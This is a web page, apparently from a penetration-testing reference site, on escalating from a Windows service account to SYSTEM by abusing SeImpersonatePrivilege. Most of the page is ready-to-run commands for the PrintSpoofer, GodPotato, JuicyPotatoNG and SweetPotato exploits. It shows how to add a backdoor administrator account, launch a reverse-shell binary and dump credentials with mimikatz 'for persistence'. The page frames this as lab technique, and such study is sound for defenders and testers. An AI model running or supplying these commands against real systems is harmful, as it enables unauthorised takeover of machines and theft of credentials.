Skip to content
HackIndex.io

Token Impersonation – SeImpersonatePrivilege Exploitation

3 min read Created Mar 15, 2026 Last updated Jul 10, 2026

SeImpersonatePrivilege allows a process to impersonate another user's security token. Service accounts (IIS, MSSQL, network service) have this privilege by default. By tricking a SYSTEM process into authenticating to a controlled endpoint, you capture a SYSTEM token and impersonate it: escalating from a service account to SYSTEM. This is the most common Windows privilege escalation path in modern labs.

Prerequisites Check

Check current token privileges:

C:\Users\Guest\Desktop> whoami /priv

You need one of:

  • SeImpersonatePrivilege: Enabled

  • SeAssignPrimaryTokenPrivilege: Enabled

These are present by default on service accounts: IIS APPPOOL\*, NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE.

If neither is present, this technique does not apply. Check https://hackindex.io/platforms/windows/privilege-escalation/sebackupprivilege-abuse for other privilege-based paths.

PrintSpoofer: Modern Windows (2016/2019/2022/10/11)

PrintSpoofer abuses the Windows Print Spooler service to coerce SYSTEM authentication via a named pipe. Most reliable on Windows 10, Server 2016, 2019, and 2022.

C:\Users\Guest\Desktop> # Interactive SYSTEM shell
C:\Users\Guest\Desktop> .\PrintSpoofer.exe -i -c cmd
 
C:\Users\Guest\Desktop> # Execute specific command
C:\Users\Guest\Desktop> .\PrintSpoofer.exe -c "net user hacker Password123! /add"
C:\Users\Guest\Desktop> .\PrintSpoofer.exe -c "net localgroup administrators hacker /add"
 
C:\Users\Guest\Desktop> # Reverse shell: start listener first
C:\Users\Guest\Desktop> .\PrintSpoofer.exe -c "C:\Windows\Temp\shell.exe"

Download: https://github.com/itm4n/PrintSpoofer

GodPotato: Windows 2012-2022

GodPotato exploits DCOM to coerce SYSTEM authentication via a custom COM server. Works on a wider range of Windows versions than PrintSpoofer.

C:\Users\Guest\Desktop> # Execute command as SYSTEM
C:\Users\Guest\Desktop> .\GodPotato.exe -cmd "cmd /c whoami"
 
C:\Users\Guest\Desktop> # Add admin user
C:\Users\Guest\Desktop> .\GodPotato.exe -cmd "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"
 
C:\Users\Guest\Desktop> # Reverse shell
C:\Users\Guest\Desktop> .\GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"

Download: https://github.com/BeichenDream/GodPotato

JuicyPotatoNG: Windows 10/11 and Server 2022

Updated Juicy Potato variant supporting modern Windows versions. Uses BITS service by default but can target other COM servers.

C:\Users\Guest\Desktop> # Get SYSTEM shell
C:\Users\Guest\Desktop> .\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe"
 
C:\Users\Guest\Desktop> # Execute command
C:\Users\Guest\Desktop> .\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c net user hacker Password123! /add"
 
C:\Users\Guest\Desktop> # Specify a different COM CLSID if default fails
C:\Users\Guest\Desktop> .\JuicyPotatoNG.exe -t * -p "cmd.exe" -l 10247 -c "{CLSID}"

Download: https://github.com/antonioCoco/JuicyPotatoNG

Choosing the Right Tool

Tool

Best For

Notes

PrintSpoofer

Win10, Server 2016/2019/2022

Requires Print Spooler running

GodPotato

Win2012-2022, wide compatibility

Most reliable for modern targets

JuicyPotatoNG

Win10/11, Server 2022

Falls back if BITS unavailable

SweetPotato

All modern Windows

Combines multiple techniques

Try GodPotato first: widest compatibility. Fall back to PrintSpoofer if GodPotato fails.

Check if Print Spooler is Running (PrintSpoofer)

┌──(kali㉿kali)-[~]
└─$ sc query Spooler
┌──(kali㉿kali)-[~]
└─$ # Must show RUNNING for PrintSpoofer to work

SweetPotato: Combined Approach

SweetPotato combines EfsRpc, PrintSpoofer, and DCOM coercion methods and tries each automatically:

C:\Users\Guest\Desktop> .\SweetPotato.exe -a "whoami"
C:\Users\Guest\Desktop> .\SweetPotato.exe -a "net user hacker Password123! /add"
C:\Users\Guest\Desktop> .\SweetPotato.exe -e EfsRpc -a "cmd /c whoami"

Download: https://github.com/CCob/SweetPotato

Manual Token Impersonation via PowerShell (No External Binary)

If you cannot upload binaries, use PowerShell token impersonation via .NET:

# Requires SeImpersonatePrivilege
$ErrorActionPreference = "SilentlyContinue"

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenImpersonation {
    [DllImport("advapi32.dll")] public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
    [DllImport("advapi32.dll")] public static extern bool RevertToSelf();
}
"@

In practice, use one of the binary tools above: they handle the complex token manipulation reliably.

After Getting SYSTEM

Verify:

C:\Users\Guest\Desktop> whoami
C:\Users\Guest\Desktop> # nt authority\system

Dump credentials for persistence:

C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

See https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks for credential dumping workflow.

References